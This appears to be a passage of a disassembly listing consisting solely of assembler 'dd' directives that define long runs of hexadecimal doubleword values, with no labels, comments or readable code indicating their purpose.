		dd 792B0C11h, 1EF1665h,	6F7E2DCAh, 6613C08Fh, 5A00C801h
		dd 505680h, 2614BD68h, 15255879h, 0E345300h, 51AD0548h
		dd 0E9550B8Eh, 7CC899ABh, 0B97F7088h, 1909F5ECh, 0AA9DBA66h
		dd 0BD009D15h, 513DFB68h, 966698E9h, 0F39A69EBh, 0CCB0BD70h
		dd 583B870Bh, 0DA045D14h, 96C9BA42h, 8621C0CEh,	57D32645h
		dd 20F00443h, 0D00AA91h, 221F2827h, 82C3ECE9h, 0F52D40D5h
		dd 0EE303E5Dh, 18E6F318h, 0C69DE868h, 8E816134h, 3AE13C0Dh
		dd 81F67E82h, 0F5895907h, 0E9C9B1BEh, 0F4BC94C5h, 2A137CDFh
		dd 66A729A2h, 9820CC4Ch, 7E042F91h, 12C16A41h, 0C87BD82Eh
		dd 8701144Eh, 0CFF0B92Bh, 0A12EAC48h, 5C52897h,	17F8C981h
		dd 0B841C683h, 0E3FFBF1h, 33E97F9Fh, 0C502FCD3h, 0EB211158h
		dd 0C1005966h, 4F5806E7h, 81382787h, 0EBD1581Fh, 1A472B30h
		dd 0BC766BE1h, 83D3E47Dh, 980FE8B0h, 6DE92537h,	0BD55E218h
		dd 0F069A40Bh, 880BFD1Bh, 25005AF8h, 63474D70h,	9606853h
		dd 5B43F442h, 52C67342h, 735F5425h, 745709F1h, 0AFCEC248h
		dd 0D4AADBCh, 56EC5EAFh, 4B4EEF6h, 6CB59C20h, 2E230400h
		dd 0C2583005h, 0AF0ECEB7h, 0E1D719D6h, 9FC81EF0h, 620B527Bh
		dd 30B47504h, 9DE6812h,	0AA44DECCh, 2580F7AEh, 199B28C6h
		dd 360F2EEDh, 7C5F6466h, 81EE2482h, 84E4E907h, 0D09413Eh
		dd 7F376224h, 8110A4h, 355F5673h, 7EA25E5Dh, 58C5290Bh
		dd 41CC7801h, 9030C989h, 542D9A0Eh, 2C716AD6h, 4A276C68h
		dd 6E01527Bh, 0E9F30562h, 25F274F2h, 43903700h,	0E3EC1C6Ah
		dd 9C71C909h, 6A91E64Ah, 12EC0C83h, 9A1C72Ah, 0D1965Dh
		dd 80D9B252h, 0D330C6EAh, 71EC5A4Bh, 8E15141h, 0E6FEC270h
		dd 7EB25C0h, 5764187h, 0A68ED4E3h, 289070A0h, 0A1E2C37h
		dd 0D71A97FEh, 685A611Bh, 0F37A79E1h, 0C4EF8F49h, 8BBE57E0h
		dd 0F84217E2h, 0DB41E234h, 75D0773Ah, 730D0F82h, 4521527Eh
		dd 29DDC37Dh, 0A2CA395h, 2046E917h, 1ED1F363h, 0A064F928h
		dd 0E36CDE01h, 1CF7533Eh, 0C3026028h, 0DF40D462h, 0E913C34Ch
		dd 8F90604Ch, 6FED401Bh, 1DA92221h, 9683660h, 3CB9354Ah
		dd 6C820892h, 32DE641Ch, 5E57610Bh, 0C569EE04h,	970296D7h
		dd 0FC17EE0Eh, 0DABFA075h, 2340416h, 0A5B9CFE9h, 8A55D6B1h
		dd 5051D520h, 91668FCh,	5F499A11h, 796E205Fh, 19DB32F7h
		dd 0E18435E9h, 6DEF49ECh, 77B604D1h, 4FEF028h, 586AEBEFh
		dd 480551Dh, 36E9BCF6h,	0E2A0885Bh, 6EF32E07h, 0F9D2C131h
		dd 8C69D6ABh, 290C82F8h, 0A9EDF6C0h, 4F387611h,	0F5488358h
		dd 7EF062B8h, 52DF849Fh, 0F9252FCh, 0B764D128h,	311C91BAh
		dd 0F668CCCFh, 0EE947377h, 0B501F2A7h, 0E95D7EEAh, 0E84959D7h
		dd 255B5EF2h, 8482FBF3h, 0C1BA5097h, 0AB059353h, 0FA437383h
		dd 4AE960CBh, 0B70CC13Fh, 2048C320h, 88023C09h,	89E9EA12h
		dd 958954F2h, 2827C773h, 78D6B30Bh, 0B0F80B17h,	68876394h
		dd 0B2DD3B88h, 5E78929Ah, 5C2909FEh, 0E90B30D1h, 9FCF7095h
		dd 5FF81598h, 68C19B9Ch, 0D74D1F81h, 20BF6442h,	4571AF6h
		dd 69186C5Fh, 5036C774h, 0BEA854Ah, 0DE4098Eh, 9C66F601h
		dd 0C1D840F3h, 0E7136703h, 10EA2905h, 5A3B080Ah, 5F771018h
		dd 6F74EEF7h, 1484785Ah
		dd 63C581FFh, 8012288Dh, 48B775B2h, 0B0B67152h,	0F36C9589h
		dd 9502C622h, 578B95Eh,	87159994h, 0B2F1F766h, 1A5FF2CAh
		dd 3EA07F45h, 8003E1C0h, 69F677F2h, 88185A9Dh, 250A20C7h
		dd 0A2C61C58h, 0C803498h, 2931E95Fh, 0B3CDE395h, 9F41C9E4h
		dd 0B67CD4F0h, 1E5DF08h, 0F4EB16E9h, 490BEA34h,	0D7F3770Fh
		dd 2408522Fh, 60AE33C5h, 0CF3717FAh, 1AE9360Bh,	0A7A5FEBDh
		dd 0C52EB3FEh, 0F703FD26h, 55B573Fh, 0D67CEF8Ch, 981AF179h
		dd 0C4990206h, 3663337Ah, 0D8A9190Ch, 95C02EF6h, 9FB24BDEh
		dd 712DCCF1h, 0F1B642E5h, 44C3B800h, 31260E22h,	0A87758C7h
		dd 0EBAA2429h, 470F1EA8h, 8418350Dh, 89D16A39h,	0A77F3745h
		dd 93E90B57h, 0BE90FF9Fh, 0BD7AF805h, 0A764457Dh, 83AC5F1Bh
		dd 0F8EF81C5h, 0E9CF81C8h, 0CC2DE42Bh, 7D633C10h, 0DDE4F56Bh
		dd 7D5EEEA7h, 41F22EE6h, 0BB1940C5h, 88771F44h,	49683B8Ch
		dd 5484C592h, 5D71FF5Bh, 0E32522E9h, 9AD03843h,	0E6456491h
		dd 0B0E924F9h, 0C6FE832Dh, 400DEF6h, 2085B151h,	0F88059CEh
		dd 13F5E0F0h, 0A8E8285Ah, 6027F562h, 20EE5FD4h,	0A72BA464h
		dd 0F084224Eh, 2CC50714h, 0E0C9A78Bh, 542A68B2h, 6B82E848h
		dd 0B35B2254h, 4CB75307h, 0E0D419F4h, 3B7E1EAEh, 0C2A3B524h
		dd 1FA9DE6Eh, 0F84FE602h, 0B3887509h, 539701DAh, 0DD4911E6h
		dd 4F3A34F7h, 0BEB8D7A8h, 40763A14h, 83FC48CDh,	3BFCF7E9h
		dd 1B80E6DFh, 0BF5729B2h, 20132726h, 5FAA0150h,	0E509DA21h
		dd 0C663D95Ch, 0FA9BEF58h, 52BAECC8h, 0C7485597h, 2995D013h
		dd 8BB62FF9h, 898BAC5Eh, 0F4AFAB21h, 0D6345AB0h, 214B0684h
		dd 7DE91282h, 92C4B64h,	2FCAFDA3h, 774A9831h, 20E08205h
		dd 0BC5B85A4h, 0F4B5C5EBh, 5EEE63C2h, 0CE29E210h, 0E6FD6892h
		dd 0E6999F36h, 593184E3h, 82EFCBFEh, 15FE10Eh, 0D3306E5Eh
		dd 0C420EE61h, 0F308250Eh, 8502DDD6h, 0DEE66DE9h, 6D652D0h
		dd 8EC8F52h, 7FF82F5Dh,	0C9054178h, 646D6C12h, 5ABE7E81h
		dd 2F14AB48h, 0FEDE7809h, 69700402h, 0C4BE454h,	660B6757h
		dd 0E912A80Ch, 65EB5BEEh, 9180F95Ch, 65BD9346h,	0FFA715E5h
		dd 12E29A5Bh, 3340C40Eh, 45AD5976h, 0B746FBFh, 0B684C7E4h
		dd 5D941250h, 190971AFh, 0CCC00497h, 1629BB53h,	0E140F53Ch
		dd 7140E62Eh, 0C64C1A18h, 86BB1043h, 0F27F094Dh, 80FD9A68h
		dd 0F2A6EBC6h, 0E207F525h, 7972523Eh, 1244B80Fh, 9670652Fh
		dd 927737FBh, 2459D362h, 71111606h, 46C305ECh, 0BC733B7Eh
		dd 0B310849Dh, 0D9E580BFh, 0C76911E9h, 1105FE5h, 49B00A8Eh
		dd 0AA99814Fh, 0D2B3E22Bh, 3DAE3E56h, 7A18AD57h, 0A0E91353h
		dd 0E5348DCEh, 569D741Dh, 7AC194A3h, 53B695Eh, 8F891E70h
		dd 4AE8BCC0h, 50325EC1h, 0A94008D6h, 5402FF35h,	0D84949C2h
		dd 30EBC15Bh, 144A1B5Dh, 0CBE04A89h, 7318B59Bh,	0A5001090h
		dd 0E0D15850h, 6BD6E955h, 68E422B4h, 642DECFFh,	2DFD17D7h
		dd 402F0975h, 88DF0F78h, 0E90607D8h, 5ED7C2BCh,	899DF4BEh
		dd 4BBEF05Dh, 0BFB8D57h, 23860C4Dh, 0C101F7F8h,	53867622h
		dd 8E8CD9F7h, 0ED1DCD24h, 0BB18B109h, 4101E2E2h, 78FC3910h
		dd 0B82D4BF0h, 0F0638991h, 80689DBBh, 0ED91E5ACh, 0BDEC5B65h
		dd 0B2FB87C4h, 0EC4D923Fh, 8A2F1E5Fh, 82B24E92h, 61CDBA2Eh
		dd 6F1F0F68h, 29026CCBh, 8CAEE9FBh, 0C84BC7F1h,	8250C6AAh
		dd 461C0BD7h, 391697A6h, 0FD93A820h, 1CEDF11h, 0BDB1564Eh
		dd 1601C644h, 5278010Ch, 0C72D7CE0h, 0FC4CC954h, 7A205F0h
		dd 0B74F48F9h, 0D8BD56AEh, 0B5CADD9h, 5FB0C27Ah, 5E6A5F2Ch
		dd 0C19DB143h, 506AE907h, 89D52990h, 2CB7029Dh,	209BFh
		dd 22DF108Ah, 0FA504680h, 4E490081h, 0F78144A8h, 4D2F16A2h
		dd 5413C221h, 0B1DE082Dh, 7711BE01h, 9B210DE8h,	0E40D4ACFh
		dd 0C2BD4DF3h, 92166528h, 0DD01B1A1h, 8EC1F3B0h, 0EB67A5Bh
		dd 0A4BFB37Dh, 0E9C9135Fh, 73AFE1C6h, 0F68B5A02h, 65FF1562h
		dd 0BFC2106h, 9E48BB0Fh, 82824FC8h, 0D9D06AE4h,	40DB28EDh
		dd 0E10781BEh, 74A96494h, 0A8EB32B2h, 0AB03BA6Eh, 990BE680h
		dd 0A83018EEh, 0FCF3E00Eh, 84904BE9h, 0CA24EA22h, 2FB98ABFh
		dd 0AF75D668h, 555A15D4h, 0CC0BED8h, 1F653197h,	0F4D74801h
		dd 7C5FC600h, 0E9EED111h, 0A9C5105Ah, 140A2CBBh, 0A40265B7h
		dd 57482D95h, 86AA42E9h, 5180C271h, 0E82806B5h,	86F89F59h
		dd 50525300h, 36E9D4B4h, 691AB2B3h, 0F7E63D24h,	2B69120h
		dd 958C231h, 0D1821C57h, 96EC4F0Eh, 241BFB95h, 19C10257h
		dd 605D150Fh, 1D40CA6Eh, 873DF81Eh, 6CFE7BF2h, 750BC5A6h
		dd 8877A222h, 6E17D8AFh, 87B1D221h, 6B685200h, 8CF30A4Ah
		dd 0C002BAD7h, 40BD1F9Eh, 1DE8F3DCh, 0AE6F177Dh, 630A0766h
		dd 0E5E3C05Ah, 5CDFA607h, 35027590h, 28991EE6h,	0D7E4061h
		dd 0EC21CE00h, 2CC6796Dh, 2D84E9F7h, 691CC569h,	0C2B54F23h
		dd 17EAE77Ah, 0A2B68FCBh, 0CE90547Ch, 2BFA0AE2h, 0DF74B8h
		dd 9FEC40A3h, 5A4BD309h, 0F7CFFDF8h, 8079BC36h,	0C51F3E6Ah
		dd 0E9DD0B89h, 0D4EEC2BDh, 0EC5B0AB0h, 764CAEA2h, 0D700E227h
		dd 55CE5C5Eh, 3BCA7EC4h, 646082AEh, 0EE835A54h,	0CC921A57h
		dd 0CE4200AEh, 6BEF6FE6h, 560DE913h, 6FE66DFEh,	5C8B90B2h
		dd 4DBF2940h, 97219924h, 0D427E880h, 62FCE90Dh,	0DC8852F7h
		dd 6DF62CC4h, 666E5A92h, 0ADF9AD1h, 2133408h, 3981E3D5h
		dd 0FD7D4073h, 0E65F5B7Ch, 91097D87h, 90F93AE9h, 3B8C988Eh
		dd 2249BD2Bh, 0C3C2801h, 462D5837h, 0EA04AC06h,	23945B56h
		dd 4A700CECh, 0DEBABD09h, 0DEE4A6CBh, 0FCFD65B8h, 0A4614CDEh
		dd 0CB30C4EBh, 0E45C2D45h, 4D65278Ah, 0F05AA676h, 7F9441E2h
		dd 3C30EFD7h, 0B70A21F1h, 0D7207A58h, 5B5A2DA5h, 9C5D096Ch
		dd 84FE488Ch, 0E51657B4h, 0DC566E75h, 819563EAh, 40F4399Dh
		dd 0A614748Ah, 17131D49h, 980B8EF6h, 5F1C2BE2h,	8F7BE536h
		dd 4C6D469Fh, 0A4811655h, 2A48FD50h, 18681E02h,	2C975142h
		dd 8C1F12F0h, 6817585Dh, 0F99D15ACh, 8249F26Ah,	60FE6C60h
		dd 96D44759h, 0CBD6838Fh, 1CDA8B17h, 0F258ECABh, 1B496F12h
		dd 53B08C04h, 600C2D00h, 0D2F53FB4h, 0B3E91BCBh, 0E3126013h
		dd 0FCCBFE25h, 0DBF60F46h, 0E998F340h, 8180CF92h, 24E80ECDh
		dd 0E5C03036h, 492E467Bh, 5F56CB7h, 18D363EDh, 8A88FF29h
		dd 8CC45AAAh, 0F89DB2D6h, 0D4D941A1h, 0AC04C4Eh, 0F805D0F7h
		dd 98687B6Bh, 54613F27h, 12E102ADh, 220845EAh, 0E67D715Ah
		dd 0E134D300h, 0BDA72ABFh, 13B83ED8h, 644F427Ch, 0BDECD10h
		dd 2357A78h, 5F5AD00Eh,	0B7A03FC4h, 8487C95h, 0E9EF0203h
		dd 5771E575h, 127850E3h, 7038D118h, 0C44960C0h,	4AC53E2h
		dd 26FC515Bh, 9849BED2h, 0E8C3496Bh, 0D0B6896Ah, 4016CEE6h
		dd 0A41F1BF1h, 61150639h, 90C4932h, 42EDD568h, 52B2D411h
		dd 0A5DE58AFh, 0F3485AADh, 94C6B26Bh, 0B8792AC1h, 2FDEBF00h
		dd 66BE31A8h, 0FFF97C47h, 0C61857C2h, 4309C681h, 40C3F8ABh
		dd 97BCE9DFh, 5C5B390Bh, 6D9406CBh, 0F948A029h,	276E0107h
		dd 2344CA25h, 28C76F39h, 33856110h, 48E97F48h, 93834BB0h
		dd 0C3A4C380h, 0C4B15BABh, 0E9E2D850h, 5A97BF25h, 8A055083h
		dd 0AB582723h, 0CE0377F4h, 94B04D96h, 0BDA02F0Fh, 0E9F22134h
		dd 3316B84Ah, 0A27001BBh, 6055074Eh, 9E62EA54h,	56D0890Fh
		dd 4EDBA081h, 409FB836h
		dd 0A1DF569Dh, 1203D465h, 4FA6A851h, 1CB34EB4h,	4EC28042h
		dd 0EAAEDA28h, 5BBEECD7h, 4D4853A6h, 0E9C330B0h, 1EE95E4Eh
		dd 0AC5CEE12h, 8D4A414h, 97B8FEFh, 5A79D3E9h, 0DDD62068h
		dd 102CB900h, 5B51636Dh, 0FD2D4F59h, 9D050038h,	295C2A3Ah
		dd 98898D8h, 457347B7h,	0BB867004h, 5D1B2498h, 59302C5h
		dd 0DA2AC389h, 0CC214B65h, 0EE398399h, 0FD3AE11Ch, 0CF888B07h
		dd 32C79259h, 2819E0E0h, 7029E74Fh, 9720F8C1h, 0BEF340D0h
		dd 7C411902h, 0E2E6D16Ch, 0BDCCD245h, 0CB78F4C6h, 51E03E94h
		dd 7E2896B1h, 882C28CAh, 41E918CBh, 0D1C62B8Ch,	358D5616h
		dd 62A30600h, 30C14DBDh, 0C21206EEh, 9486F38h, 10420632h
		dd 418795Eh, 1F0FC75Ah,	2C37B029h, 81BC075Eh, 0EE29508Fh
		dd 742F67F6h, 0F58FCF66h, 294BFB21h, 0BE544F9h,	83595F08h
		dd 20FA52E9h, 0F2F49B4h, 7D81F0B7h, 41F1F801h, 10A06FC2h
		dd 7F40B741h, 57829A87h, 9D58DE2h, 9EB4F56Fh, 21D6384Ah
		dd 1052B56Ch, 804BDD98h, 0C1E043F8h, 400C07E8h,	2467A4E9h
		dd 3B2303B8h, 0C7894A06h, 2B271AE3h, 6808605Eh,	95727061h
		dd 0E978C6D6h, 0B7AE498Ah, 0E1002048h, 0BB602073h, 0A40F1382h
		dd 0D33CE92Dh, 627AF839h, 1404CA2Bh, 0BD852E04h, 4519885Ch
		dd 52AA530Ah, 0F2F1FCEAh, 125BD8CEh, 0B723C668h, 84121881h
		dd 9F4E3F1Fh, 0E9E11AF1h, 992A87C2h, 0F2F7E937h, 0DDFEBA49h
		dd 48833845h, 318B5893h, 321B59B6h, 0DB0C306Ah,	44486D7Ah
		dd 0DDF3445h, 0A35A2AFCh, 97E9C235h, 0FFD3A981h, 737CF12Bh
		dd 46E7311Ch, 3E589F90h, 37E90209h, 0A8BB55D9h,	5114D391h
		dd 0D5A19Eh, 0E6B0ED80h, 240F76C5h, 340A3EF5h, 40AAA2D9h
		dd 261FF4D0h, 0A692345Fh, 0B4F99DBAh, 8AAFF336h, 0F948EEh
		dd 6C3D270Fh, 0E97CE95Dh, 0ADF32AA6h, 26283AC5h, 8976326h
		dd 0F4FB4052h, 1314587Eh, 0C134E917h, 42C20901h, 850F9DC7h
		dd 0E6ED47FEh, 20307F10h, 247A9D0Ch, 0FC4394B5h, 0E068540Dh
		dd 0DA92A91Ch, 0D2A749BCh, 0EF083161h, 0BB164C9Fh, 0F01C804h
		dd 0BBF0934h, 94554ACFh, 0FE629745h, 68122058h,	0A2E34DB9h
		dd 0AF858A70h, 0AC0D5314h, 0BD0CD659h, 1E87738Ch, 89768423h
		dd 0EE1E65E3h, 208D4CB5h, 4D58775Ah, 6FBC0118h,	0F52138AAh
		dd 7641002Ah, 55CFD5D3h, 175D593Eh, 0A1C81C4Fh,	1D0B9D25h
		dd 0A382A59Eh, 5DC898Bh, 499DF9CBh, 4D90CC81h, 0CE803EFEh
		dd 3B1A27F3h, 0E3032AAFh, 41D66DE0h, 4C8FBA07h,	0EBC05C29h
		dd 4F79922Dh, 1689FC9Ch, 0CA35D601h, 40C0DFABh,	5D82B2D4h
		dd 50293365h, 0B50CD248h, 170B2E4Bh, 0E9840FC9h, 50680A0Ch
		dd 2AC86B10h, 2A680FCCh, 797B2EE2h, 58807B51h, 1618D1AFh
		dd 43FC53F0h, 216A16B9h, 0A9F4B313h, 0E95A5ED7h, 0D97C3950h
		dd 5835847h, 1BE12347h,	6D3968C1h, 0E7D69322h, 0F2D27FAEh
		dd 0EC4550EFh, 4FB6AF10h, 317E4DCAh, 881C4859h,	17F22F01h
		dd 0A667FD12h, 8FA24BDFh, 920DFD92h, 0A86287E9h, 28024A89h
		dd 1219F8D3h, 0F1232C5Ch, 0DBF4313Eh, 2852FE85h, 0A74BE3F6h
		dd 815B212Ah, 0CA8095B2h, 1E37061h, 0ABE8E917h,	892D5E40h
		dd 9D236A44h, 781C7D8h,	11B23F59h, 0FFDB83C5h, 97F8A157h
		dd 0C67B2327h, 16B38008h, 80F8A956h, 712216FBh,	5E9912BEh
		dd 9501C010h, 6C12DF7Dh, 5210FE29h, 0C3864008h,	752D6BC0h
		dd 0F5FEB74Ah, 55EC0070h, 0F2FB2E7h, 2530BFC7h,	2FB9F601h
		dd 0A4B04176h, 4BE95756h, 10DDB6F3h, 0BE024581h, 2F4B3534h
		dd 82FBC27Fh, 0B0C7B371h, 206850E1h, 81EA1C58h,	75696094h
		dd 6C5ADD46h, 0B06944CDh, 581C448Ch, 0B90E7BE3h, 81272071h
		dd 1F7AA3C9h, 58E965C0h, 2DAD7A7Bh, 0EF383501h,	6A97680Fh
		dd 179DF67Bh, 24F9FA7Fh, 1698A184h, 4AB871BAh, 0F72B89FCh
		dd 254F0BDDh, 5D255905h, 12C0D180h, 0E21FF60h, 81295E3h
		dd 0AAFCC5BFh, 3243B76h, 75775927h, 4440C101h, 0B09F5808h
		dd 0D0D77324h, 0E13DB077h, 0A915CCDAh, 175AA140h, 0EB52B468h
		dd 7EBE4830h, 26910671h, 477392E9h, 488F0552h, 255B0198h
		dd 48E93CFAh, 99610425h, 547B0D3Dh, 18BC598Ch, 0C3B256Dh
		dd 0C216ECEEh, 56BA0572h, 9EA308C6h, 0B53AC09h,	688D2FB7h
		dd 195C2DA3h, 0DC7B1E3Ch, 0A7EEDC3Ch, 24F840D5h, 2DC82900h
		dd 150C42F1h, 0C8D8595Ah, 0C9AB2DE9h, 8BE9E056h, 0B5A25880h
		dd 58FEA7E0h, 69F086A6h, 0DE7D1158h, 0B30EB200h, 1325582Ch
		dd 0FC025170h, 341B04CFh, 0E6E174EAh, 0EB927B22h, 5024CAD2h
		dd 5E09E632h, 0DDB5F2D3h, 7482CB81h, 34604C9Ah,	0DFF712FBh
		dd 83B90C7Eh, 0C0A0F35Bh, 0CDD5C85h, 5DA3F2C2h,	0F0A66853h
		dd 92B3C70h, 47E95089h,	9DB20423h, 930A19B9h, 8002D869h
		dd 0A0109C68h, 0E9E2B579h, 884E4A08h, 207AB4E9h, 0C6956BFEh
		dd 43D95B57h, 6F3F2DE3h, 47D829A1h, 50018D4h, 3A2465AFh
		dd 35DE0F2Dh, 0D415FE1h, 2A2F4D32h, 7C07F010h, 9D511A3h
		dd 3C8B591Bh, 67A12116h, 49A1A730h, 0B66A7718h,	0FC682768h
		dd 0A289967Dh, 3755A7C0h, 0C32140ABh, 0E2C0332Ch, 5E97ECB0h
		dd 772D935Ch, 6FADD2CBh, 8E7CE57Dh, 740B6855h, 13E4B646h
		dd 0C1061F0Bh, 50805DEBh, 7C91687Fh, 0F482E914h, 0C5ED5B3Eh
		dd 5B1D2D7Bh, 73CBBC71h, 2AA12759h, 42D0215Ah, 0AD52ABCBh
		dd 8B272C78h, 0B57CDAC1h, 0BAFA9C66h, 2D9B4249h, 5173906Fh
		dd 88CBBC54h, 8F04BE0Fh, 78C24047h, 0C5B3B242h,	1856A572h
		dd 6272C803h, 26E8002Ch, 8138DE1Fh, 3C1D9DEAh, 0CA8F367Dh
		dd 787EA7F0h, 0A162F2C7h, 0D1F0E0E8h, 0B049715Ah, 2C027238h
		dd 0C621C326h, 8103DFD3h, 710BE5F7h, 49EDDA07h,	0DB2D5A39h
		dd 19A16197h, 62773A9Fh, 0EDE432B4h, 57D504C2h,	0EA4A0F55h
		dd 0ABF2F6D0h, 5E7B2790h, 36E925E0h, 7B85099Dh,	0A368841Fh
		dd 0EE31BF54h, 5503DEEDh, 0ABDCF6B3h, 4A871438h, 10DE8E0Ch
		dd 2C2641EAh, 0FEA03F7Fh, 0B06BB3Ch, 0F65515EFh, 2A3B04C3h
		dd 0A3D181BEh, 0C5BE07DAh, 0EFFD6C77h, 5EC34E64h, 2D3CA024h
		dd 89DF717Dh, 1C5772F4h, 689BC248h, 995D55C9h, 58CAE9FDh
		dd 0CB567340h, 7CC85EC4h, 18092993h, 7262E968h,	1783B0B5h
		dd 0FD229B7Bh, 356C09C0h, 0D761023Dh, 0F860415Ah, 7F12EA88h
		dd 0E33FA526h, 0E92504B7h, 1BAFCAE2h, 19633A8h,	12EC06A1h
		dd 742D7F58h, 0F0290F01h, 69CCB76Fh, 2D0F4E0Eh,	7B0598E9h
		dd 0B38FEB59h, 0A007E913h, 0E23C800Eh, 0D42709h, 3AAAB968h
		dd 0F7763CE6h, 32663C8h, 3E35013Bh, 0E483679Bh,	45F841FFh
		dd 0BFD0764Ah, 765D2686h, 3DBBFE2Ch, 0F44AD5D2h, 4597FEA0h
		dd 34EE8F1Ch, 1409FC5h,	0A278AEB8h, 0BE9A60FAh,	710580h
		dd 3513724Dh, 2B496C85h, 0DB4CB6FEh, 0EA88C5E1h, 81ED14C1h
		dd 0AC6ABDAEh, 22572553h, 547F6987h, 75A1C2D7h,	187ACD20h
		dd 0C76A5AB5h, 57032E40h, 0F5F06120h, 0B93E500Fh, 43ED011Eh
		dd 21E303F1h, 0E956916Ah, 0F632C80h, 0FEE8C15Fh, 7459B04Bh
		dd 0E4DE624Eh, 5DBC5B04h, 8A3F9C05h, 94928074h,	0A60DE7Ch
		dd 7643FA18h, 0DBF72426h, 0A2BF166Eh, 5E114C95h, 0FC183AA1h
		dd 2CAB2D68h, 424B2446h, 283081A1h, 88DE4074h, 1530D377h
		dd 0E2C9F1A6h, 75123D3Dh, 280623ADh, 5E4E2429h,	0C0EC7185h
		dd 0F973B0A5h, 62B8834Bh, 0E365C2A4h, 706BF0F6h, 0FCD1BD0Bh
		dd 0F2048F8Fh, 283F7F08h
		dd 0AEDE2FBEh, 79B94AD1h, 4FF33FE9h, 1722680Bh,	2853F9B1h
		dd 0F5B94BE0h, 2CCCF0E1h, 9B08D624h, 1E6C26F8h,	0C6AF6473h
		dd 0F5F03928h, 90CEE6BDh, 6960207Ah, 5BDA0817h,	0C5C45F17h
		dd 387A7BEh, 3E2831C6h,	90C0472h, 0AE467D1Bh, 805CCD4h
		dd 1401BF57h, 585FFE29h, 0AA67BD20h, 8951D62Bh,	15A951ECh
		dd 0F799BB7Fh, 0B964CDD5h, 12919925h, 172B22E9h, 82F2A9FCh
		dd 79DEC180h, 40B6401Eh, 702EEC0h, 3003C680h, 417E70F1h
		dd 1AF02F9Ch, 9C424BC1h, 7EED8313h, 8864D221h, 5B8B7960h
		dd 2A422DA7h, 0C40257CDh, 42773031h, 798157Ch, 0DC271D79h
		dd 92197635h, 0D4340405h, 0ADB80055h, 9F7A032Eh, 846D962h
		dd 0D6F15150h, 67422F13h, 33CE260Ch, 20462512h,	0A5409141h
		dd 0C3C860D7h, 0DF5716D4h, 0E518AAAFh, 95156E0h, 0D5F76FF4h
		dd 332EF350h, 450AD5CAh, 6AAEBD49h, 0A414923Ch,	0A72CE6A6h
		dd 98DF22FDh, 5A3E4000h, 96F1893Eh, 0B5B9F22Fh,	2D23578Ch
		dd 108390Fh, 12813725h,	0D024E8AFh, 7CEA90EFh, 0C356828Dh
		dd 6A2EE8A7h, 4046B687h, 2C59B850h, 29024613h, 68912097h
		dd 0BA4D278Dh, 4E5A23E0h, 5A73FC5Ch, 5CB815E8h,	0AC3BFFBCh
		dd 83383D6h, 8142846h, 82D724DDh, 977A3B8Ch, 1670F72h
		dd 69CBE4F8h, 10905EF0h, 0F65C1F51h, 0EBC717FCh, 0BE2709D0h
		dd 31F327AFh, 0ECF86C62h, 0E676DE27h, 4887413Dh, 0B334E990h
		dd 7DBF203Dh, 0BFF0551Ch, 66FE3661h, 5172423h, 0E828FF02h
		dd 13854BE9h, 0BB49BB44h, 1F9A77CAh, 0A3F21455h, 660B2537h
		dd 312052D8h, 205B98DFh, 789DB544h, 2B509599h, 0AB1EC100h
		dd 0E7E9F329h, 0EED1C3C4h, 1CA2B546h, 782D3956h, 0F689BD72h
		dd 500CA51h, 0CFB3CDFDh, 4DE824E9h, 4995681Dh, 1A67B9F7h
		dd 0CB5D9952h, 5290CAF4h, 0A0E50426h, 8009A21Ah, 32652928h
		dd 0F3A1635Ah, 74765A28h, 0D33727CBh, 225A05DCh, 0FE3F99h
		dd 281FB951h, 0BB146301h, 0D9139AFh, 8776BD2Ah,	8137E3C1h
		dd 0A644B831h, 0AB7C01C3h, 92D0718h, 0A8A694C3h, 0B458DEC2h
		dd 0CC583906h, 1D06D508h, 52501EC0h, 78B455B6h,	5AF43FC4h
		dd 0CD0DE41Ch, 12ECD5CCh, 2FDC5BC0h, 66EDB689h,	62D2810Fh
		dd 4DD2BE04h, 7EDD825Eh, 0ADFEF33Ch, 0A56FFD91h, 9CB67A1Fh
		dd 813942ABh, 18927F0Bh, 0D5D93360h, 806866BDh,	0B4530AC6h
		dd 4F02C083h, 0EA9F7278h, 426B6183h, 73D90503h,	4970CA9Fh
		dd 9AE90780h, 0ACB802BDh, 0F3C27552h, 3BFAEA50h, 0D6EBE669h
		dd 5A15147Ah, 0DF883858h, 1C92AD1Fh, 36BA61C0h,	58F033Bh
		dd 564FCA81h, 0D0686498h, 46570662h, 207C523Fh,	0F62DE48Bh
		dd 2F2366F1h, 0B2F47E15h, 97DB4F78h, 9BC06432h,	2148C634h
		dd 0C5D61789h, 680B81CEh, 73DC41E5h, 5F41625Ah,	0B5E98FE8h
		dd 81AAD248h, 6B8CD30Ch, 35423035h, 33B7D02h, 44A6645Bh
		dd 0B27D5C89h, 1CD75383h, 5118A016h, 59173868h,	964AFA52h
		dd 6D12565h, 133B5488h,	0D45A035Fh, 60CFDF48h, 8C4FE0F1h
		dd 0CE897500h, 0E9F02159h, 0F3899FD5h, 12AD875Bh, 4ADE4CE5h
		dd 3970BB56h, 0BD54F1E9h, 535B51A0h, 0FAD465B6h, 0E90840D6h
		dd 3A90842Dh, 12654006h, 0B778292h, 0B6A5008h, 4623773Dh
		dd 1E070925h, 0B7F97AB3h, 0ADF7B709h, 0F53E0C88h, 0E9408994h
		dd 0F550425Fh, 8FA0026Ch, 21994667h, 984FD902h,	5907E16Bh
		dd 0B987BFAh, 29F62A32h, 25757863h, 0DCF4CBA3h,	0D790DBE2h
		dd 0E31C4730h, 856B5D81h, 62081FDCh, 0BCB4C6FEh, 3B0BA326h
		dd 70DFDC36h, 39B35AD1h, 39E86805h, 3CB3BA61h, 68D55E02h
		dd 1402C2EEh, 8BDAEE50h, 211DFB06h, 67030C0Ch, 1365320h
		dd 8DEFF2D7h, 14040C08h, 3DF8E7BEh, 0C4C4DBE9h,	5F1563EBh
		dd 6A908DF4h, 230C8D80h, 0CEE91627h, 94AD67D2h,	7E8DE13Eh
		dd 0B32E819Dh, 0CAC23AF0h, 0EE9974AAh, 0A0F47497h, 0D3F48000h
		dd 0D9B5E630h, 0C4C0673Bh, 0BB00C507h, 710A2F81h, 207F5D02h
		dd 3E1D26CEh, 9908A073h, 2029395Fh, 496CF145h, 1C10A10Ch
		dd 0A620EE20h, 0CAFE0339h, 0D0F6C286h, 0F280080Eh, 764A7E64h
		dd 0DC2DDF88h, 83E90967h, 845FB5E2h, 4BFE990Ah,	60D801CBh
		dd 658AEA05h, 0E1004AB6h, 6610D54Eh, 2F2CB021h,	2BA9700Ch
		dd 0B2862184h, 88500FE5h, 3F8A64DCh, 0ED8EA7A2h, 566C89DFh
		dd 99BEA045h, 28B44F3h,	0BFD80A41h, 344AAC73h, 60BCCEh
